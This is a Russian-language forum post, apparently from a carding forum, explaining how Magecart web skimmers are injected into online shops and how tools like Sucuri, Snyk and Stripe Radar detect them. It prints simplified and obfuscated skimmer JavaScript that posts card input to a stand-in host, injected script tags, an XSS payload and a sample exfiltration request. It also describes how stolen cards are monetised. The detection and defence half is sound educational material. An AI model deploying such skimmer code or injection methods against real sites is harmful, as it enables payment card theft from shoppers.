Как работают веб-скиммеры (Magecart-атаки) и как их выявляют?

Mutt

Professional
Messages
1,369
Reaction score
912
Points
113
Веб-скиммеры, такие как Magecart-атаки, являются одной из ключевых техник, используемых в кардинге — преступной деятельности, направленной на кражу данных банковских карт для их последующего использования в мошеннических транзакциях. В этом ответе я подробно разберу, как злоумышленники внедряют вредоносный JavaScript-код в сайты интернет-магазинов, как он работает для кражи данных карт, и как системы безопасности (Sucuri, Snyk, Stripe Radar) выявляют такие атаки через анализ DOM, CSP и подозрительного трафика. Ответ будет образовательным, с акцентом на технические детали и методы защиты, чтобы помочь лучше понять угрозу и способы противодействия.

Как работают веб-скиммеры в контексте кардинга​

1. Что такое Magecart и кардинг?​

Magecart — это общий термин для группы киберпреступников и их методов, направленных на внедрение вредоносных JavaScript-скриптов (скиммеров) на веб-сайты, чаще всего интернет-магазины, для кражи данных карт. Кардинг — это более широкий термин, описывающий использование украденных данных карт для мошеннических покупок, вывода денег или продажи данных на черном рынке (например, в даркнете).

Цель веб-скиммеров — перехватить данные карты (номер, имя владельца, срок действия, CVV) в момент ввода пользователем на странице оплаты. Эти данные затем используются кардерами для:
  • Прямых покупок в других магазинах.
  • Создания клонов карт для физических транзакций.
  • Продажи данных на теневых форумах.

2. Как злоумышленники внедряют скиммеры?​

Злоумышленники используют несколько методов для внедрения вредоносного кода на сайт. Вот основные подходы:
  • Компрометация сервера сайта:
    • Уязвимости CMS: Популярные платформы, такие как Magento, WordPress, OpenCart, часто становятся мишенями из-за уязвимостей в их плагинах или устаревших версиях. Например, в 2018 году Magento был целью множества Magecart-атак из-за уязвимостей в плагинах.
    • Метод: Злоумышленники получают доступ к серверу через эксплойты (например, SQL-инъекции, RCE — Remote Code Execution) и добавляют вредоносный JavaScript-код в файлы сайта (например, в index.php или footer.php).
    • Пример: Внедрение <script src="https://malicious.com/skimmer.js"></script> в шаблон страницы.
  • Компрометация сторонних сервисов:
    • Сторонние библиотеки: Злоумышленники атакуют популярные библиотеки (например, jQuery) или сервисы (аналитика, чаты, рекламные сети), которые используются сайтом.
    • Метод: Замена легитимного скрипта на вредоносный через цепочку поставок (supply chain attack). Например, в 2018 году скиммер был внедрен в библиотеку, используемую British Airways.
    • Пример: Подмена <script src="https://cdn.trusted.com/lib.js"> на скрипт с зараженного CDN.
  • Фишинг и кража учетных данных:
    • Метод: Злоумышленники получают доступ к административной панели сайта через фишинговые атаки или перебор паролей (brute force). После входа они добавляют вредоносный код в редакторе шаблонов.
    • Пример: Внедрение скрипта через админ-панель WordPress в разделе редактирования темы.
  • Межсайтовый скриптинг (XSS):
    • Метод: Если сайт уязвим к XSS, злоумышленники внедряют скрипт через пользовательский ввод (например, в комментариях или формах). Отраженный или постоянный XSS позволяет динамически подгружать скиммер.
    • Пример: Вставка <script>document.write('<script src="https://malicious.com/skimmer.js"></script>')</script> через уязвимую форму.
  • Цепочки поставок:
    • Метод: Злоумышленники атакуют сторонние сервисы, такие как рекламные сети или виджеты (например, чат-боты), которые интегрированы в сайт. Компрометация одного сервиса затрагивает все сайты, использующие его.
    • Пример: В 2020 году скиммер был внедрен через виджет чата, используемый множеством магазинов.

3. Как работает скиммер?​

После внедрения вредоносный JavaScript выполняет следующие действия:
  • Сбор данных:
    • Скрипт отслеживает ввод данных в формы на странице оплаты. Это достигается через:
      • Перехват событий (onchange, oninput, onkeyup) на полях ввода.
      • Использование методов DOM, таких как document.getElementById('card-number') или document.querySelector('input[name="cc"]').
    • Пример кода скиммера (упрощённый, обфусцированный в реальных атаках):
      JavaScript:
      document.getElementById('card-number').addEventListener('input', function(e) {
          let cardData = e.target.value;
          fetch('https://malicious.com/collect', {
              method: 'POST',
              body: JSON.stringify({ card: cardData })
          });
      });
    • Скиммеры могут собирать не только данные карт, но и дополнительные сведения: имя, адрес, email, телефон.
  • Обфускация кода:
    • Чтобы избежать обнаружения, код скиммера часто запутывается (например, с помощью инструментов вроде JavaScript Obfuscator). Пример обфусцированного кода:
      JavaScript:
      var _0x1a2b=['value','card-number','getElementById','addEventListener','input','POST','https://malicious.com/collect'];function _0x3c4d(e){let d=document[_0x1a2b[2]](_0x1a2b[1]);d[_0x1a2b[3]](_0x1a2b[4],function(e){fetch(_0x1a2b[6],{method:_0x1a2b[5],body:JSON.stringify({card:e.target[_0x1a2b[0]]})});});}
    • Обфускация затрудняет анализ кода антивирусами и системами безопасности.
  • Передача данных:
    • Собранные данные отправляются на сервер злоумышленников через:
      • HTTP-запросы (GET/POST).
      • WebSocket для реального времени.
      • Легитимные сервисы (например, Google Firebase) для маскировки.
    • Данные часто кодируются в Base64 или шифруются, чтобы скрыть их содержимое.
    • Пример запроса:
      Code:
      POST https://malicious.com/collect
      Body: {"card":"4532015112830366","cvv":"123","name":"John Doe"}
  • Уклонение от обнаружения:
    • Скрипты могут загружаться динамически (например, через document.createElement('script')).
    • Активация только на страницах оплаты или для определённых пользователей (например, по геолокации).
    • Использование доменов, похожих на легитимные (например, g00gle-analytics.com вместо google-analytics.com).

4. Использование украденных данных в кардинге​

После кражи данных кардеры:
  • Проверяют валидность карт через небольшие тестовые транзакции.
  • Используют карты для покупки товаров (например, электроники) с доставкой на подставные адреса.
  • Продают данные на форумах даркнета (цены варьируются от $5 до $100 за карту в зависимости от лимита и региона).
  • Проводят операции через криптовалютные биржи для отмывания средств.

Как системы выявляют веб-скиммеры​

Системы безопасности, такие как Sucuri, Snyk и Stripe Radar, используют комплексный подход для обнаружения Magecart-атак. Они анализируют код сайта, сетевой трафик и поведение скриптов. Вот подробный разбор методов:

1. Анализ DOM (Document Object Model)​

  • Как работает:
    • DOM — это программное представление веб-страницы, включающее HTML, CSS и JavaScript. Скиммеры часто добавляют или изменяют элементы DOM для перехвата данных.
    • Системы безопасности сканируют DOM на наличие:
      • Неавторизованных <script> тегов.
      • Динамически добавленных скриптов через document.createElement или document.write.
      • Подозрительных функций, таких как eval(), setInterval, или методов, взаимодействующих с формами.
    • Используются сигнатурный и поведенческий анализ:
      • Сигнатурный: Поиск известных шаблонов скиммеров (например, запросы к определённым доменам).
      • Поведенческий: Анализ аномального поведения, такого как перехват событий на полях ввода.
  • Примеры инструментов:
    • Sucuri:
      • Регулярно сканирует файлы сайта и DOM, сравнивая их с эталонной версией.
      • Обнаруживает изменения, такие как добавление <script src="https://malicious.com/skimmer.js">.
      • Использует базу данных известных скиммеров для сигнатурного анализа.
    • Snyk:
      • Фокусируется на анализе сторонних зависимостей (например, npm-пакетов или CDN-скриптов).
      • Проверяет, не были ли скомпрометированы библиотеки, используемые сайтом.
    • Stripe Radar:
      • Анализирует DOM на стороне клиента в реальном времени, чтобы выявить подозрительные изменения на страницах оплаты.
  • Признаки в DOM:
    • Неизвестные скрипты, загружаемые с внешних доменов.
    • Обфусцированный код, содержащий подозрительные функции (например, atob() для декодирования Base64).
    • Скрипты, взаимодействующие с полями ввода (например, input[name="card_number"]).

2. Content Security Policy (CSP)​

  • Как работает:
    • CSP — это HTTP-заголовок, который ограничивает, какие домены могут загружать ресурсы (скрипты, изображения, шрифты и т.д.). Пример заголовка:
      Code:
      Content-Security-Policy: script-src 'self' https://trusted.com;
    • Если скиммер пытается загрузить скрипт с неавторизованного домена (например, malicious.com), браузер блокирует запрос и отправляет отчет о нарушении.
    • Системы безопасности анализируют отчеты CSP для выявления попыток загрузки вредоносных скриптов.
  • Роль систем:
    • Sucuri:
      • Мониторит отчеты о нарушениях CSP через встроенный веб-брандмауэр (WAF).
      • Уведомляет администраторов о попытках загрузки скриптов с неизвестных доменов.
    • Stripe Radar:
      • Интегрируется с CSP на страницах оплаты, отслеживая попытки несанкционированного доступа к данным.
    • Snyk:
      • Помогает настроить строгую CSP-политику, минимизируя риск компрометации сторонних ресурсов.
  • Признаки:
    • Нарушение CSP-политики (например, попытка загрузки скрипта с malicious.com).
    • Частые запросы к доменам, не указанным в script-src или connect-src.
    • Попытки обхода CSP через небезопасные методы, такие как eval().

3. Анализ подозрительного трафика​

  • Как работает:
    • Системы отслеживают сетевые запросы, исходящие с сайта, на предмет аномалий:
      • Запросы к неизвестным или подозрительным доменам.
      • Передача данных в закодированном виде (например, Base64).
      • Необычно высокий объем запросов с одной страницы.
    • Используются алгоритмы машинного обучения для выявления аномального поведения, такого как отправка данных форм на сторонние серверы.
  • Примеры инструментов:
    • Sucuri:
      • Использует WAF для мониторинга и блокировки подозрительных запросов.
      • Анализирует логи сервера на предмет аномалий, таких как POST-запросы к неизвестным доменам.
    • Snyk:
      • Проверяет сетевые взаимодействия сторонних библиотек, выявляя, если они отправляют данные на подозрительные серверы.
    • Stripe Radar:
      • Использует машинное обучение для анализа транзакций и трафика.
      • Выявляет аномалии, такие как одновременная отправка данных на легитимный процессор платежей и подозрительный сервер.
  • Признаки:
    • HTTP-запросы к доменам, не связанным с функциональностью сайта (например, malicious.com вместо stripe.com).
    • Передача данных форм в закодированном виде (Base64, HEX).
    • Аномально высокая частота запросов с одной страницы.

4. Дополнительные методы обнаружения​

  • Статический анализ кода:
    • Sucuri и Snyk сканируют файлы сайта (HTML, PHP, JS) на наличие вредоносного кода.
    • Проверяют хэши файлов для выявления несанкционированных изменений.
    • Пример: Обнаружение строки <script src="https://malicious.com/skimmer.js"> в header.php.
  • Поведенческий анализ:
    • Stripe Radar анализирует поведение пользователей на странице оплаты (например, аномально быстрые действия или повторяющиеся запросы).
    • Выявляет попытки автоматического ввода данных, характерные для тестирования скиммеров.
  • Subresource Integrity (SRI):
    • Используется для проверки целостности сторонних скриптов. Пример:
      HTML:
      <script src="https://trusted.com/lib.js" integrity="sha256-abc123..."></script>
    • Если хэш скрипта не совпадает, браузер блокирует его загрузку.
  • Мониторинг зависимостей:
    • Snyk анализирует npm-пакеты и CDN-ресурсы, чтобы выявить уязвимости или компрометацию.

Примеры реальных атак и их обнаружения​

  1. British Airways (2018):
    • Атака: Скиммер был внедрен в стороннюю библиотеку, используемую на странице оплаты. Скрипт отправлял данные карт на сервер злоумышленников.
    • Обнаружение: Аномальный трафик был замечен через анализ логов сервера. CSP-нарушения указали на неавторизованный домен.
    • Инструменты: Аналогичные Sucuri могли выявить изменения в DOM, а Stripe Radar — аномалии в транзакциях.
  2. Ticketmaster (2018):
    • Атака: Злоумышленники скомпрометировали сторонний чат-виджет, который загружал скиммер на страницы оплаты.
    • Обнаружение: Snyk-подобные инструменты выявили уязвимость в стороннем скрипте, а анализ трафика показал отправку данных на подозрительный домен.
  3. Magento-атаки (2020):
    • Атака: Злоумышленники использовали уязвимость в плагине Magento для внедрения скиммера в файлы сайта.
    • Обнаружение: Sucuri обнаружила изменения в файлах через статический анализ, а CSP-отчеты указали на попытки загрузки скриптов.

Как защититься от веб-скиммеров​

Для предотвращения Magecart-атак и защиты от кардинга рекомендуется:
  1. Регулярное сканирование:
    • Используйте Sucuri или Snyk для мониторинга кода сайта и сторонних зависимостей.
    • Проверяйте файлы сайта на изменения (например, через хэширование).
  2. Настройка CSP:
    • Ограничьте загрузку скриптов только с доверенных доменов:
      Code:
      Content-Security-Policy: script-src 'self' https://trusted.com; report-uri /csp-report;
    • Включите отчеты о нарушениях для мониторинга.
  3. Subresource Integrity (SRI):
    • Проверяйте целостность сторонних скриптов с помощью хэшей.
  4. Обновление ПО:
    • Регулярно обновляйте CMS, плагины и библиотеки, чтобы устранить уязвимости.
    • Используйте Snyk для анализа зависимостей.
  5. Веб-брандмауэр (WAF):
    • Используйте Sucuri WAF для блокировки подозрительных запросов.
    • Настройте фильтры для блокировки трафика к неизвестным доменам.
  6. Шифрование и токенизация:
    • Используйте платежные системы, такие как Stripe, которые токенизируют данные карт, минимизируя их хранение на сайте.
    • Stripe Radar может дополнительно анализировать транзакции на аномалии.
  7. Обучение персонала:
    • Проводите тренинги по фишингу и безопасности учетных данных.
    • Используйте сложные пароли и двухфакторную аутентификацию для админ-панелей.
  8. Мониторинг трафика:
    • Настройте системы мониторинга (например, Sucuri или Stripe Radar) для анализа исходящего трафика.
    • Используйте SIEM-системы для корреляции событий.

Заключение​

Веб-скиммеры, такие как Magecart, представляют серьезную угрозу для интернет-магазинов, позволяя кардерам красть данные карт и использовать их в мошеннических целях. Злоумышленники внедряют вредоносный JavaScript через уязвимости в серверах, сторонних сервисах или XSS, перехватывая данные форм и отправляя их на свои серверы. Системы, такие как Sucuri, Snyk и Stripe Radar, эффективно выявляют такие атаки через анализ DOM, мониторинг CSP и трафика, используя сигнатурные, поведенческие и машинно-обучаемые подходы.

Для защиты важно внедрить многоуровневую стратегию: обновлять ПО, использовать CSP и SRI, мониторить код и трафик, а также минимизировать хранение данных карт. Если вы хотите углубиться в конкретные аспекты (например, примеры обфусцированного кода, настройка CSP или анализ логов), дайте знать, и я предоставлю дополнительные детали или примеры!
 
Top